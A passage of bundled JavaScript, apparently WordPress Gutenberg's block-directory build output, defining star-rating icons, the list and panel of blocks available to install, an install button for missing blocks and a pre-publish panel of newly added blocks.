778 var star_empty_default = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z" }) });
779
780 // packages/icons/build-module/library/star-filled.mjs
781 var import_primitives2 = __toESM(require_primitives(), 1);
782 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
783 var star_filled_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" }) });
784
785 // packages/icons/build-module/library/star-half.mjs
786 var import_primitives3 = __toESM(require_primitives(), 1);
787 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
788 var star_half_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.Path, { d: "M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z" }) });
789
790 // packages/block-directory/build-module/components/block-ratings/stars.mjs
791 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
792 function Stars({ rating }) {
793 const stars = Math.round(rating / 0.5) * 0.5;
794 const fullStarCount = Math.floor(rating);
795 const halfStarCount = Math.ceil(rating - fullStarCount);
796 const emptyStarCount = 5 - (fullStarCount + halfStarCount);
797 return /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(
798 "span",
799 {
800 "aria-label": (0, import_i18n2.sprintf)(
801 /* translators: %s: number of stars. */
802 (0, import_i18n2.__)("%s out of 5 stars"),
803 stars
804 ),
805 children: [
806 Array.from({ length: fullStarCount }).map((_, i) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
807 icon_default,
808 {
809 className: "block-directory-block-ratings__star-full",
810 icon: star_filled_default,
811 size: 16
812 },
813 `full_stars_${i}`
814 )),
815 Array.from({ length: halfStarCount }).map((_, i) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
816 icon_default,
817 {
818 className: "block-directory-block-ratings__star-half-full",
819 icon: star_half_default,
820 size: 16
821 },
822 `half_stars_${i}`
823 )),
824 Array.from({ length: emptyStarCount }).map((_, i) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
825 icon_default,
826 {
827 className: "block-directory-block-ratings__star-empty",
828 icon: star_empty_default,
829 size: 16
830 },
831 `empty_stars_${i}`
832 ))
833 ]
834 }
835 );
836 }
837 var stars_default = Stars;
838
839 // packages/block-directory/build-module/components/block-ratings/index.mjs
840 var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
841 var BlockRatings = ({ rating }) => /* @__PURE__ */ (0, import_jsx_runtime5.jsx)("span", { className: "block-directory-block-ratings", children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(stars_default, { rating }) });
842 var block_ratings_default = BlockRatings;
843
844 // packages/block-directory/build-module/components/downloadable-block-icon/index.mjs
845 var import_block_editor2 = __toESM(require_block_editor(), 1);
846 var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
847 function DownloadableBlockIcon({ icon }) {
848 const className = "block-directory-downloadable-block-icon";
849 return icon.match(/\.(jpeg|jpg|gif|png|svg)(?:\?.*)?$/) !== null ? /* @__PURE__ */ (0, import_jsx_runtime6.jsx)("img", { className, src: icon, alt: "" }) : /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_block_editor2.BlockIcon, { className, icon, showColors: true });
850 }
851 var downloadable_block_icon_default = DownloadableBlockIcon;
852
853 // packages/block-directory/build-module/components/downloadable-block-notice/index.mjs
854 var import_i18n3 = __toESM(require_i18n(), 1);
855 var import_data5 = __toESM(require_data(), 1);
856 var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
857 var DownloadableBlockNotice = ({ block }) => {
858 const errorNotice = (0, import_data5.useSelect)(
859 (select) => select(store).getErrorNoticeForBlock(block.id),
860 [block]
861 );
862 if (!errorNotice) {
863 return null;
864 }
865 return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)("div", { className: "block-directory-downloadable-block-notice", children: /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)("div", { className: "block-directory-downloadable-block-notice__content", children: [
866 errorNotice.message,
867 errorNotice.isFatal ? " " + (0, import_i18n3.__)("Try reloading the page.") : null
868 ] }) });
869 };
870 var downloadable_block_notice_default = DownloadableBlockNotice;
871
872 // packages/block-directory/build-module/components/downloadable-block-list-item/index.mjs
873 var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
874 function getDownloadableBlockLabel({ title, rating, ratingCount }, { hasNotice, isInstalled, isInstalling: isInstalling2 }) {
875 const stars = Math.round(rating / 0.5) * 0.5;
876 if (!isInstalled && hasNotice) {
877 return (0, import_i18n4.sprintf)("Retry installing %s.", (0, import_html_entities.decodeEntities)(title));
878 }
879 if (isInstalled) {
880 return (0, import_i18n4.sprintf)("Add %s.", (0, import_html_entities.decodeEntities)(title));
881 }
882 if (isInstalling2) {
883 return (0, import_i18n4.sprintf)("Installing %s.", (0, import_html_entities.decodeEntities)(title));
884 }
885 if (ratingCount < 1) {
886 return (0, import_i18n4.sprintf)("Install %s.", (0, import_html_entities.decodeEntities)(title));
887 }
888 return (0, import_i18n4.sprintf)(
889 /* translators: 1: block title, 2: average rating, 3: total ratings count. */
890 (0, import_i18n4._n)(
891 "Install %1$s. %2$s stars with %3$s review.",
892 "Install %1$s. %2$s stars with %3$s reviews.",
893 ratingCount
894 ),
895 (0, import_html_entities.decodeEntities)(title),
896 stars,
897 ratingCount
898 );
899 }
900 function DownloadableBlockListItem({ item, onClick }) {
901 const { author, description, icon, rating, title } = item;
902 const isInstalled = !!(0, import_blocks3.getBlockType)(item.name);
903 const { hasNotice, isInstalling: isInstalling2, isInstallable } = (0, import_data6.useSelect)(
904 (select) => {
905 const { getErrorNoticeForBlock: getErrorNoticeForBlock2, isInstalling: isBlockInstalling } = select(store);
906 const notice = getErrorNoticeForBlock2(item.id);
907 const hasFatal = notice && notice.isFatal;
908 return {
909 hasNotice: !!notice,
910 isInstalling: isBlockInstalling(item.id),
911 isInstallable: !hasFatal
912 };
913 },
914 [item]
915 );
916 let statusText = "";
917 if (isInstalled) {
918 statusText = (0, import_i18n4.__)("Installed!");
919 } else if (isInstalling2) {
920 statusText = (0, import_i18n4.__)("Installing\u2026");
921 }
922 const itemLabel = getDownloadableBlockLabel(item, {
923 hasNotice,
924 isInstalled,
925 isInstalling: isInstalling2
926 });
927 return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_components.Tooltip, { placement: "top", text: itemLabel, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(
928 import_components.Composite.Item,
929 {
930 className: clsx_default(
931 "block-directory-downloadable-block-list-item",
932 isInstalling2 && "is-installing"
933 ),
934 accessibleWhenDisabled: true,
935 disabled: isInstalling2 || !isInstallable,
936 onClick: (event) => {
937 event.preventDefault();
938 onClick();
939 },
940 "aria-label": itemLabel,
941 type: "button",
942 role: "option",
943 children: [
944 /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)("div", { className: "block-directory-downloadable-block-list-item__icon", children: [
945 /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(downloadable_block_icon_default, { icon, title }),
946 isInstalling2 ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)("span", { className: "block-directory-downloadable-block-list-item__spinner", children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_components.Spinner, {}) }) : /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(block_ratings_default, { rating })
947 ] }),
948 /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)("span", { className: "block-directory-downloadable-block-list-item__details", children: [
949 /* @__PURE__ */ (0, import_jsx_runtime8.jsx)("span", { className: "block-directory-downloadable-block-list-item__title", children: (0, import_element3.createInterpolateElement)(
950 (0, import_i18n4.sprintf)(
951 /* translators: 1: block title. 2: author name. */
952 (0, import_i18n4.__)("%1$s <span>by %2$s</span>"),
953 (0, import_html_entities.decodeEntities)(title),
954 author
955 ),
956 {
957 span: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)("span", { className: "block-directory-downloadable-block-list-item__author" })
958 }
959 ) }),
960 hasNotice ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(downloadable_block_notice_default, { block: item }) : /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_jsx_runtime8.Fragment, { children: [
961 /* @__PURE__ */ (0, import_jsx_runtime8.jsx)("span", { className: "block-directory-downloadable-block-list-item__desc", children: !!statusText ? statusText : (0, import_html_entities.decodeEntities)(description) }),
962 isInstallable && !(isInstalled || isInstalling2) && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_components.VisuallyHidden, { children: (0, import_i18n4.__)("Install block") })
963 ] })
964 ] })
965 ]
966 }
967 ) });
968 }
969 var downloadable_block_list_item_default = DownloadableBlockListItem;
970
971 // packages/block-directory/build-module/components/downloadable-blocks-list/index.mjs
972 var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
973 var noop = () => {
974 };
975 function DownloadableBlocksList({ items, onHover = noop, onSelect }) {
976 const { installBlockType: installBlockType2 } = (0, import_data7.useDispatch)(store);
977 if (!items.length) {
978 return null;
979 }
980 return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
981 import_components2.Composite,
982 {
983 role: "listbox",
984 className: "block-directory-downloadable-blocks-list",
985 "aria-label": (0, import_i18n5.__)("Blocks available for install"),
986 children: items.map((item) => {
987 return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
988 downloadable_block_list_item_default,
989 {
990 onClick: () => {
991 if ((0, import_blocks4.getBlockType)(item.name)) {
992 onSelect(item);
993 } else {
994 installBlockType2(item).then((success) => {
995 if (success) {
996 onSelect(item);
997 }
998 });
999 }
1000 onHover(null);
1001 },
1002 onHover,
1003 item
1004 },
1005 item.id
1006 );
1007 })
1008 }
1009 );
1010 }
1011 var downloadable_blocks_list_default = DownloadableBlocksList;
1012
1013 // packages/block-directory/build-module/components/downloadable-blocks-panel/inserter-panel.mjs
1014 var import_i18n6 = __toESM(require_i18n(), 1);
1015 var import_element4 = __toESM(require_element(), 1);
1016 var import_a11y = __toESM(require_a11y(), 1);
1017 var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
1018 function DownloadableBlocksInserterPanel({
1019 children,
1020 downloadableItems,
1021 hasLocalBlocks
1022 }) {
1023 const count = downloadableItems.length;
1024 (0, import_element4.useEffect)(() => {
1025 (0, import_a11y.speak)(
1026 (0, import_i18n6.sprintf)(
1027 /* translators: %d: number of available blocks. */
1028 (0, import_i18n6._n)(
1029 "%d additional block is available to install.",
1030 "%d additional blocks are available to install.",
1031 count
1032 ),
1033 count
1034 )
1035 );
1036 }, [count]);
1037 return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_jsx_runtime10.Fragment, { children: [
1038 !hasLocalBlocks && /* @__PURE__ */ (0, import_jsx_runtime10.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0, import_i18n6.__)("No results available from your installed blocks.") }),
1039 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" }),
1040 /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)("div", { className: "block-directory-downloadable-blocks-panel", children: [
1041 /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)("div", { className: "block-directory-downloadable-blocks-panel__header", children: [
1042 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)("h2", { className: "block-directory-downloadable-blocks-panel__title", children: (0, import_i18n6.__)("Available to install") }),
1043 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)("p", { className: "block-directory-downloadable-blocks-panel__description", children: (0, import_i18n6.__)(
1044 "Select a block to install and add it to your post."
1045 ) })
1046 ] }),
1047 children
1048 ] })
1049 ] });
1050 }
1051 var inserter_panel_default = DownloadableBlocksInserterPanel;
1052
1053 // packages/block-directory/build-module/components/downloadable-blocks-panel/no-results.mjs
1054 var import_i18n7 = __toESM(require_i18n(), 1);
1055 var import_components3 = __toESM(require_components(), 1);
1056 var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
1057 function DownloadableBlocksNoResults() {
1058 return /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_jsx_runtime11.Fragment, { children: [
1059 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)("div", { className: "block-editor-inserter__no-results", children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)("p", { children: (0, import_i18n7.__)("No results found.") }) }),
1060 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)("div", { className: "block-editor-inserter__tips", children: /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_components3.Tip, { children: [
1061 (0, import_i18n7.__)("Interested in creating your own block?"),
1062 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)("br", {}),
1063 /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_components3.ExternalLink, { href: "https://developer.wordpress.org/block-editor/", children: [
1064 (0, import_i18n7.__)("Get started here"),
1065 "."
1066 ] })
1067 ] }) })
1068 ] });
1069 }
1070 var no_results_default = DownloadableBlocksNoResults;
1071
1072 // packages/block-directory/build-module/components/downloadable-blocks-panel/index.mjs
1073 var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
1074 var EMPTY_ARRAY2 = [];
1075 var useDownloadableBlocks = (filterValue) => (0, import_data8.useSelect)(
1076 (select) => {
1077 const {
1078 getDownloadableBlocks: getDownloadableBlocks3,
1079 isRequestingDownloadableBlocks: isRequestingDownloadableBlocks2,
1080 getInstalledBlockTypes: getInstalledBlockTypes2
1081 } = select(store);
1082 const hasPermission = select(import_core_data.store).canUser(
1083 "read",
1084 "block-directory/search"
1085 );
1086 let downloadableBlocks2 = EMPTY_ARRAY2;
1087 if (hasPermission) {
1088 downloadableBlocks2 = getDownloadableBlocks3(filterValue);
1089 const installedBlockTypes = getInstalledBlockTypes2();
1090 const installableBlocks = downloadableBlocks2.filter(
1091 ({ name }) => {
1092 const isJustInstalled = installedBlockTypes.some(
1093 (blockType) => blockType.name === name
1094 );
1095 const isPreviouslyInstalled = (0, import_blocks5.getBlockType)(name);
1096 return isJustInstalled || !isPreviouslyInstalled;
1097 }
1098 );
1099 if (installableBlocks.length !== downloadableBlocks2.length) {
1100 downloadableBlocks2 = installableBlocks;
1101 }
1102 if (downloadableBlocks2.length === 0) {
1103 downloadableBlocks2 = EMPTY_ARRAY2;
1104 }
1105 }
1106 return {
1107 hasPermission,
1108 downloadableBlocks: downloadableBlocks2,
1109 isLoading: isRequestingDownloadableBlocks2(filterValue)
1110 };
1111 },
1112 [filterValue]
1113 );
1114 function DownloadableBlocksPanel({
1115 onSelect,
1116 onHover,
1117 hasLocalBlocks,
1118 isTyping,
1119 filterValue
1120 }) {
1121 const { hasPermission, downloadableBlocks: downloadableBlocks2, isLoading } = useDownloadableBlocks(filterValue);
1122 if (hasPermission === void 0 || isLoading || isTyping) {
1123 return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_jsx_runtime12.Fragment, { children: [
1124 hasPermission && !hasLocalBlocks && /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_jsx_runtime12.Fragment, { children: [
1125 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0, import_i18n8.__)(
1126 "No results available from your installed blocks."
1127 ) }),
1128 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" })
1129 ] }),
1130 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)("div", { className: "block-directory-downloadable-blocks-panel has-blocks-loading", children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_components4.Spinner, {}) })
1131 ] });
1132 }
1133 if (false === hasPermission) {
1134 if (!hasLocalBlocks) {
1135 return /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(no_results_default, {});
1136 }
1137 return null;
1138 }
1139 if (downloadableBlocks2.length === 0) {
1140 return hasLocalBlocks ? null : /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(no_results_default, {});
1141 }
1142 return /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1143 inserter_panel_default,
1144 {
1145 downloadableItems: downloadableBlocks2,
1146 hasLocalBlocks,
1147 children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1148 downloadable_blocks_list_default,
1149 {
1150 items: downloadableBlocks2,
1151 onSelect,
1152 onHover
1153 }
1154 )
1155 }
1156 );
1157 }
1158
1159 // packages/block-directory/build-module/plugins/inserter-menu-downloadable-blocks-panel/index.mjs
1160 var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
1161 function InserterMenuDownloadableBlocksPanel() {
1162 const [debouncedFilterValue, setFilterValue] = (0, import_element5.useState)("");
1163 const debouncedSetFilterValue = (0, import_compose.debounce)(setFilterValue, 400);
1164 return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_block_editor3.__unstableInserterMenuExtension, { children: ({ onSelect, onHover, filterValue, hasItems }) => {
1165 if (debouncedFilterValue !== filterValue) {
1166 debouncedSetFilterValue(filterValue);
1167 }
1168 if (!debouncedFilterValue) {
1169 return null;
1170 }
1171 return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
1172 DownloadableBlocksPanel,
1173 {
1174 onSelect,
1175 onHover,
1176 filterValue: debouncedFilterValue,
1177 hasLocalBlocks: hasItems,
1178 isTyping: filterValue !== debouncedFilterValue
1179 }
1180 );
1181 } });
1182 }
1183 var inserter_menu_downloadable_blocks_panel_default = InserterMenuDownloadableBlocksPanel;
1184
1185 // packages/block-directory/build-module/plugins/installed-blocks-pre-publish-panel/index.mjs
1186 var import_i18n10 = __toESM(require_i18n(), 1);
1187 var import_data9 = __toESM(require_data(), 1);
1188 var import_editor2 = __toESM(require_editor(), 1);
1189
1190 // packages/block-directory/build-module/components/compact-list/index.mjs
1191 var import_i18n9 = __toESM(require_i18n(), 1);
1192 var import_jsx_runtime14 = __toESM(require_jsx_runtime(), 1);
1193 function CompactList({ items }) {
1194 if (!items.length) {
1195 return null;
1196 }
1197 return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)("ul", { className: "block-directory-compact-list", children: items.map(({ icon, id, title, author }) => /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)("li", { className: "block-directory-compact-list__item", children: [
1198 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(downloadable_block_icon_default, { icon, title }),
1199 /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)("div", { className: "block-directory-compact-list__item-details", children: [
1200 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)("div", { className: "block-directory-compact-list__item-title", children: title }),
1201 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)("div", { className: "block-directory-compact-list__item-author", children: (0, import_i18n9.sprintf)(
1202 /* translators: %s: Name of the block author. */
1203 (0, import_i18n9.__)("By %s"),
1204 author
1205 ) })
1206 ] })
1207 ] }, id)) });
1208 }
1209
1210 // packages/block-directory/build-module/plugins/installed-blocks-pre-publish-panel/index.mjs
1211 var import_jsx_runtime15 = __toESM(require_jsx_runtime(), 1);
1212 function InstalledBlocksPrePublishPanel() {
1213 const newBlockTypes = (0, import_data9.useSelect)(
1214 (select) => select(store).getNewBlockTypes(),
1215 []
1216 );
1217 if (!newBlockTypes.length) {
1218 return null;
1219 }
1220 return /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(
1221 import_editor2.PluginPrePublishPanel,
1222 {
1223 title: (0, import_i18n10.sprintf)(
1224 // translators: %d: number of blocks (number).
1225 (0, import_i18n10._n)(
1226 "Added: %d block",
1227 "Added: %d blocks",
1228 newBlockTypes.length
1229 ),
1230 newBlockTypes.length
1231 ),
1232 initialOpen: true,
1233 children: [
1234 /* @__PURE__ */ (0, import_jsx_runtime15.jsx)("p", { className: "installed-blocks-pre-publish-panel__copy", children: (0, import_i18n10._n)(
1235 "The following block has been added to your site.",
1236 "The following blocks have been added to your site.",
1237 newBlockTypes.length
1238 ) }),
1239 /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(CompactList, { items: newBlockTypes })
1240 ]
1241 }
1242 );
1243 }
1244
1245 // packages/block-directory/build-module/plugins/get-install-missing/index.mjs
1246 var import_i18n12 = __toESM(require_i18n(), 1);
1247 var import_components6 = __toESM(require_components(), 1);
1248 var import_blocks7 = __toESM(require_blocks(), 1);
1249 var import_element6 = __toESM(require_element(), 1);
1250 var import_data11 = __toESM(require_data(), 1);
1251 var import_core_data2 = __toESM(require_core_data(), 1);
1252 var import_block_editor5 = __toESM(require_block_editor(), 1);
1253
1254 // packages/block-directory/build-module/plugins/get-install-missing/install-button.mjs
1255 var import_i18n11 = __toESM(require_i18n(), 1);
1256 var import_components5 = __toESM(require_components(), 1);
1257 var import_blocks6 = __toESM(require_blocks(), 1);
1258 var import_data10 = __toESM(require_data(), 1);
1259 var import_block_editor4 = __toESM(require_block_editor(), 1);
1260 var import_jsx_runtime16 = __toESM(require_jsx_runtime(), 1);
1261 function InstallButton({ attributes, block, clientId }) {
1262 const isInstallingBlock = (0, import_data10.useSelect)(
1263 (select) => select(store).isInstalling(block.id),
1264 [block.id]
1265 );
1266 const { installBlockType: installBlockType2 } = (0, import_data10.useDispatch)(store);
1267 const { replaceBlock } = (0, import_data10.useDispatch)(import_block_editor4.store);
1268 return /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(
1269 import_components5.Button,
1270 {
1271 __next40pxDefaultSize: true,
1272 onClick: () => installBlockType2(block).then((success) => {
1273 if (success) {
1274 const blockType = (0, import_blocks6.getBlockType)(block.name);
1275 const [originalBlock] = (0, import_blocks6.parse)(
1276 attributes.originalContent
1277 );
1278 if (originalBlock && blockType) {
1279 replaceBlock(
1280 clientId,
1281 (0, import_blocks6.createBlock)(
1282 blockType.name,
1283 originalBlock.attributes,
1284 originalBlock.innerBlocks
1285 )
1286 );
1287 }
1288 }
1289 }),
1290 accessibleWhenDisabled: true,
1291 disabled: isInstallingBlock,
1292 isBusy: isInstallingBlock,
1293 variant: "primary",
1294 children: (0, import_i18n11.sprintf)(
1295 /* translators: %s: block name */
1296 (0, import_i18n11.__)("Install %s"),
1297 block.title
1298 )
1299 }
1300 );
1301 }
1302
1303 // packages/block-directory/build-module/plugins/get-install-missing/index.mjs
1304 var import_jsx_runtime17 = __toESM(require_jsx_runtime(), 1);
1305 var getInstallMissing = (OriginalComponent) => (props) => {
1306 const { originalName } = props.attributes;
1307 const { block, hasPermission } = (0, import_data11.useSelect)(
1308 (select) => {
1309 const { getDownloadableBlocks: getDownloadableBlocks3 } = select(store);
1310 const blocks = getDownloadableBlocks3(
1311 "block:" + originalName
1312 ).filter(({ name }) => originalName === name);
1313 return {
1314 hasPermission: select(import_core_data2.store).canUser(
1315 "read",
1316 "block-directory/search"
1317 ),
1318 block: blocks.length && blocks[0]
1319 };
1320 },
1321 [originalName]
1322 );
1323 if (!hasPermission || !block) {
1324 return /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(OriginalComponent, { ...props });
1325 }
1326 return /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(ModifiedWarning, { ...props, originalBlock: block });
1327 };
1328 var ModifiedWarning = ({ originalBlock, ...props }) => {
1329 const { originalName, originalUndelimitedContent, clientId } = props.attributes;
1330 const { replaceBlock } = (0, import_data11.useDispatch)(import_block_editor5.store);
1331 const convertToHTML = () => {
1332 replaceBlock(
1333 props.clientId,
1334 (0, import_blocks7.createBlock)("core/html", {
1335 content: originalUndelimitedContent
1336 })
1337 );
1338 };
1339 const hasContent = !!originalUndelimitedContent;
1340 const hasHTMLBlock = (0, import_data11.useSelect)(
1341 (select) => {
1342 const { canInsertBlockType, getBlockRootClientId } = select(import_block_editor5.store);
1343 return canInsertBlockType(
1344 "core/html",
1345 getBlockRootClientId(clientId)
1346 );
1347 },
1348 [clientId]
1349 );
1350 let messageHTML = (0, import_i18n12.sprintf)(
1351 /* translators: %s: block name */
1352 (0, import_i18n12.__)(
1353 "Your site doesn\u2019t include support for the %s block. You can try installing the block or remove it entirely."
1354 ),
1355 originalBlock.title || originalName
1356 );
1357 const actions = [
1358 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(
1359 InstallButton,
1360 {
1361 block: originalBlock,
1362 attributes: props.attributes,
1363 clientId: props.clientId
1364 },
1365 "install"
1366 )
1367 ];
1368 if (hasContent && hasHTMLBlock) {
1369 messageHTML = (0, import_i18n12.sprintf)(
1370 /* translators: %s: block name */
1371 (0, import_i18n12.__)(
1372 "Your site doesn\u2019t include support for the %s block. You can try installing the block, convert it to a Custom HTML block, or remove it entirely."
1373 ),
1374 originalBlock.title || originalName
1375 );
1376 actions.push(
1377 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(
1378 import_components6.Button,
1379 {
1380 __next40pxDefaultSize: true,
1381 onClick: convertToHTML,
1382 variant: "tertiary",
1383 children: (0, import_i18n12.__)("Keep as HTML")
1384 },
1385 "convert"
1386 )
1387 );
1388 }
1389 return /* @__PURE__ */ (0, import_jsx_runtime17.jsxs)("div", { ...(0, import_block_editor5.useBlockProps)(), children: [
1390 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_block_editor5.Warning, { actions, children: messageHTML }),
1391 /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_element6.RawHTML, { children: originalUndelimitedContent })
1392 ] });
1393 };
1394 var get_install_missing_default = getInstallMissing;
1395
1396 // packages/block-directory/build-module/plugins/index.mjs
1397 var import_jsx_runtime18 = __toESM(require_jsx_runtime(), 1);
1398 (0, import_plugins.registerPlugin)("block-directory", {
1399 // The icon is explicitly set to undefined to prevent PluginPrePublishPanel
1400 // from rendering the fallback icon pluginIcon.
1401 icon: void 0,
1402 render() {
1403 return /* @__PURE__ */ (0, import_jsx_runtime18.jsxs)(import_jsx_runtime18.Fragment, { children: [
1404 /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(AutoBlockUninstaller, {}),
1405 /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(inserter_menu_downloadable_blocks_panel_default, {}),
1406 /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(InstalledBlocksPrePublishPanel, {})
1407 ] });
1408 }
1409 });
1410 (0, import_hooks.addFilter)(
1411 "blocks.registerBlockType",
1412 "block-directory/fallback",
1413 (settings, name) => {
1414 if (name !== "core/missing") {
1415 return settings;
1416 }
1417 settings.edit = get_install_missing_default(settings.edit);
1418 return settings;
1419 }
1420 );
1421 return __toCommonJS(index_exports);
1422})();
1423